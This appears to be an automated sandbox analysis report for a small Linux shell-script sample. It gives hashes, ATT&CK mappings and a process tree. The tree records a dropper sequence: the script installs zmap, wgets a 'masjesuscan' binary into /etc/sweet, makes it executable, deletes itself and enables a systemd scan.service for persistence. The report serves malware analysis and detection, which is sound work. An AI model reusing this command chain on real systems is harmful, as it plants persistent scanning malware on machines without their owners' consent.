Analysis
- max time kernel
15s - max time network
4s - platform
debian-9_armhf - resource
debian9-armhf-20240418-en - resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
06/11/2024, 02:48
Static task
static1
Behavioral task
behavioral1
Sample
680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
Resource
debian9-mipsel-20240729-en
General
- Target 680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
- Size 500B
- Sample241106-dajqhatgll
- SHA256 680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5
- MD5 c66fb280aafa015fa6190cebc3662794
- SHA1 517a8951ff5513999d8cc5e1c7d8925822855043
- SHA512 62a24b84e131484ca7f12a78d89c868618196740ba3c77a68739b94c23e01cad011b60c2db6cbacab2a52eb1c0f0661e8f0519677db9cdb87fc352baa41febbe
- MD5 SHA1 SHA512
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 681 chmod - Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/scan.service 680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo https - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/self/fd apt-get File opened for reading /proc/self/stat systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/self/fd apt-get File opened for reading /proc/sys/crypto/fips_enabled https File opened for reading /proc/filesystems dpkg File opened for reading /proc/sys/kernel/ngroups_max apt-get File opened for reading /proc/cmdline systemctl File opened for reading /proc/filesystems dpkg File opened for reading /proc/filesystems systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/filesystems mkdir File opened for reading /proc/self/stat systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/self/auxv https File opened for reading /proc/filesystems dpkg File opened for reading /proc/filesystems dpkg File opened for reading /proc/1/environ systemctl - Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/fileutl.message.2D1KPD apt-get File opened for modification /tmp/fileutl.message.gQkjfT apt-get File opened for modification /tmp/fileutl.message.iF41JB apt-get File opened for modification /tmp/fileutl.message.w7UtEy apt-get File opened for modification /tmp/fileutl.message.MTroGh apt-get File opened for modification /tmp/fileutl.message.a22AZt apt-get File opened for modification /tmp/fileutl.message.FIrtJF apt-get File opened for modification /tmp/fileutl.message.HwzKDk apt-get File opened for modification /tmp/fileutl.message.PFqQOY apt-get File opened for modification /tmp/fileutl.message.21iT8n apt-get File opened for modification /tmp/fileutl.message.mYKjd3 apt-get -
pid Process 640 apt-get 676 apt-get
Processes
-
/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh1⤵
- Modifies systemd
PID:639 -
/usr/bin/apt-getapt-get update2⤵
- Reads runtime system information
- Writes file to tmp directory
- Software Deployment Tools
PID:640 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:648
-
-
/usr/lib/apt/methods/http/usr/lib/apt/methods/http3⤵PID:653
-
-
/usr/lib/apt/methods/https/usr/lib/apt/methods/https3⤵PID:655
-
-
/usr/lib/apt/methods/https/usr/lib/apt/methods/https3⤵
- Checks CPU configuration
- Reads runtime system information
PID:662
-
-
/usr/lib/apt/methods/http/usr/lib/apt/methods/http3⤵PID:666
-
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:672
-
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:675
-
-
-
/usr/bin/apt-getapt-get install -y zmap2⤵
- Reads runtime system information
- Writes file to tmp directory
- Software Deployment Tools
PID:676 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
- Reads runtime system information
PID:677
-
-
-
/bin/mkdirmkdir -p /etc/sweet2⤵
- Reads runtime system information
PID:679
-
-
/usr/bin/wgetwget http://localhost/masjesuscan -O /etc/sweet/masjesuscan2⤵PID:680
-
-
/bin/chmodchmod +x /etc/sweet/masjesuscan2⤵
- File and Directory Permissions Modification
PID:681
-
-
/bin/catcat2⤵PID:682
-
-
/bin/rmrm scan.sh2⤵PID:683
-
-
/bin/systemctlsystemctl daemon-reload2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:684
-
-
/bin/systemctlsystemctl enable scan.service2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:685
-
-
/bin/systemctlsystemctl start scan.service2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:686
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/scan.service
- Size 192B
- SHA256 0e0f88c57ead88425c69f343519ee84d650662c7503d230306d88904a753908e
- MD5 0f6e20a1150b1aa28e22ccefb899e3b5
- SHA1 f491dc05e7b96967249154666bc17973b99e1a78
- SHA512 51d622b5f780bf52c9f1c0fa732fc5fff9c8a826e7a6bdffd8003887658a37beb4c69d37463c4eb7b7efdc09b6ffc294d30497ff88d4965f5c80b97674f710f5
- MD5 SHA1 SHA512